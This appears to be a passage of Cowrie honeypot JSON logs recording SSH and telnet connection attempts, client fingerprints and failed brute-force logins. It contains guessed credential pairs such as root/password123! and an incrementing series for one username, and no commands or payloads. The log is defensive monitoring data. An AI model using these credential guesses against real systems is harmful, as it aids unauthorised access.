{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53966,"dst_ip":"10.17.0.5","dst_port":23,"session":"8870f9c07bb3","protocol":"telnet","message":"New connection: 152.42.224.71:53966 (10.17.0.5:23) [session: 8870f9c07bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:55.512713Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43138,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff774fe8510","protocol":"ssh","message":"New connection: 80.66.85.226:43138 (10.17.0.5:22) [session: dff774fe8510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:01.939925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:01.946061Z","src_ip":"80.66.85.226","session":"dff774fe8510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.8866081237793,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:02.023199Z","src_ip":"152.42.224.71","session":"7ca452654672","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:02.036255Z","src_ip":"80.66.85.226","session":"dff774fe8510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfczyz","message":"login attempt [root/vfczyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:02.305143Z","src_ip":"80.66.85.226","session":"dff774fe8510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b1f1e5f354","protocol":"telnet","message":"New connection: 152.42.224.71:33484 (10.17.0.5:23) [session: a7b1f1e5f354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:02.581014Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:03.397102Z","src_ip":"80.66.85.226","session":"dff774fe8510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33492,"dst_ip":"10.17.0.5","dst_port":23,"session":"7440758736ac","protocol":"telnet","message":"New connection: 152.42.224.71:33492 (10.17.0.5:23) [session: 7440758736ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:03.872552Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33494,"dst_ip":"10.17.0.5","dst_port":23,"session":"4862543eebac","protocol":"telnet","message":"New connection: 152.42.224.71:33494 (10.17.0.5:23) [session: 4862543eebac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:05.169434Z"}
{"eventid":"cowrie.session.closed","duration":120.00306510925293,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:13.236956Z","src_ip":"152.42.224.71","session":"3f5b3ba58615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60534,"dst_ip":"10.17.0.5","dst_port":23,"session":"1743200214aa","protocol":"telnet","message":"New connection: 152.42.224.71:60534 (10.17.0.5:23) [session: 1743200214aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:13.455568Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf57d125de7","protocol":"telnet","message":"New connection: 152.42.224.71:60540 (10.17.0.5:23) [session: 6cf57d125de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:13.986639Z"}
{"eventid":"cowrie.session.closed","duration":55.91365051269531,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:18.033350Z","src_ip":"152.42.224.71","session":"01c03f7729cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.68095397949219,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:22.389822Z","src_ip":"152.42.224.71","session":"3a8eefac80a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":40226,"dst_ip":"159.203.135.109","dst_port":22,"session":"5874902cf72e","protocol":"ssh","message":"New connection: 213.209.159.56:40226 (159.203.135.109:22) [session: 5874902cf72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:27.228388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:27.232760Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:27.315697Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann","message":"login attempt [shiann/shiann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:27.722218Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann1","message":"login attempt [shiann/shiann1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:28.809731Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann123","message":"login attempt [shiann/shiann123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:29.896957Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":38280,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75f0c389f4b","protocol":"ssh","message":"New connection: 43.133.148.170:38280 (10.17.0.5:22) [session: e75f0c389f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:30.148036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:30.153225Z","src_ip":"43.133.148.170","session":"e75f0c389f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:30.403716Z","src_ip":"43.133.148.170","session":"e75f0c389f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann1234","message":"login attempt [shiann/shiann1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:30.983257Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123!","message":"login attempt [root/password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:31.435731Z","src_ip":"43.133.148.170","session":"e75f0c389f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann12345","message":"login attempt [shiann/shiann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:32.073956Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:32.688624Z","src_ip":"43.133.148.170","session":"e75f0c389f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:33.159883Z","src_ip":"213.209.159.56","session":"5874902cf72e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.03906488418579,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:39.749269Z","src_ip":"152.42.224.71","session":"c917575fe3a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00156807899475,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:40.775736Z","src_ip":"152.42.224.71","session":"6d4a6bd33f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50342,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefde1efd931","protocol":"telnet","message":"New connection: 152.42.224.71:50342 (10.17.0.5:23) [session: eefde1efd931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:41.586782Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.240.17.66","src_port":57082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba9eb5de9d4","protocol":"ssh","message":"New connection: 58.240.17.66:57082 (10.17.0.5:22) [session: 4ba9eb5de9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:43.156378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:43.160687Z","src_ip":"58.240.17.66","session":"4ba9eb5de9d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:43.421371Z","src_ip":"58.240.17.66","session":"4ba9eb5de9d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:44.488209Z","src_ip":"58.240.17.66","session":"4ba9eb5de9d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:45.749228Z","src_ip":"58.240.17.66","session":"4ba9eb5de9d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":27815,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc19963af67","protocol":"ssh","message":"New connection: 223.197.186.7:27815 (10.17.0.5:22) [session: afc19963af67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:47.688751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:47.694326Z","src_ip":"223.197.186.7","session":"afc19963af67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:47.915188Z","src_ip":"223.197.186.7","session":"afc19963af67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.4435875415802,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:47.940498Z","src_ip":"152.42.224.71","session":"d6ea0fd33ad9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"com","message":"login attempt [root/com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:48.825252Z","src_ip":"223.197.186.7","session":"afc19963af67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.228914737701416,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:48.933020Z","src_ip":"152.42.224.71","session":"104c3f6c3474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:50.044914Z","src_ip":"223.197.186.7","session":"afc19963af67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.5122127532959,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:56.384606Z","src_ip":"152.42.224.71","session":"7440758736ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38160,"dst_ip":"10.17.0.5","dst_port":23,"session":"463b7383b4a1","protocol":"telnet","message":"New connection: 152.42.224.71:38160 (10.17.0.5:23) [session: 463b7383b4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:58:57.566688Z"}
{"eventid":"cowrie.session.closed","duration":85.04967498779297,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:04.921160Z","src_ip":"152.42.224.71","session":"5f9d7daecaa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.206096172332764,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:07.792760Z","src_ip":"152.42.224.71","session":"eefde1efd931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.10072088241577,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:09.665048Z","src_ip":"152.42.224.71","session":"1df3291c63ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a42ed1cdaf99","protocol":"telnet","message":"New connection: 152.42.224.71:38754 (10.17.0.5:23) [session: a42ed1cdaf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:12.779089Z"}
{"eventid":"cowrie.session.closed","duration":116.73764848709106,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:17.834625Z","src_ip":"152.42.224.71","session":"e3c18cf5b357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34660,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d5f338e5651","protocol":"telnet","message":"New connection: 152.42.224.71:34660 (10.17.0.5:23) [session: 7d5f338e5651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:19.118527Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34668,"dst_ip":"10.17.0.5","dst_port":23,"session":"2675a476eb37","protocol":"telnet","message":"New connection: 152.42.224.71:34668 (10.17.0.5:23) [session: 2675a476eb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:19.868368Z"}
{"eventid":"cowrie.session.closed","duration":28.339370489120483,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:25.905915Z","src_ip":"152.42.224.71","session":"463b7383b4a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":59490,"dst_ip":"10.17.0.5","dst_port":22,"session":"7689dd50a9a8","protocol":"ssh","message":"New connection: 31.42.176.142:59490 (10.17.0.5:22) [session: 7689dd50a9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:26.555844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:59:26.567248Z","src_ip":"31.42.176.142","session":"7689dd50a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2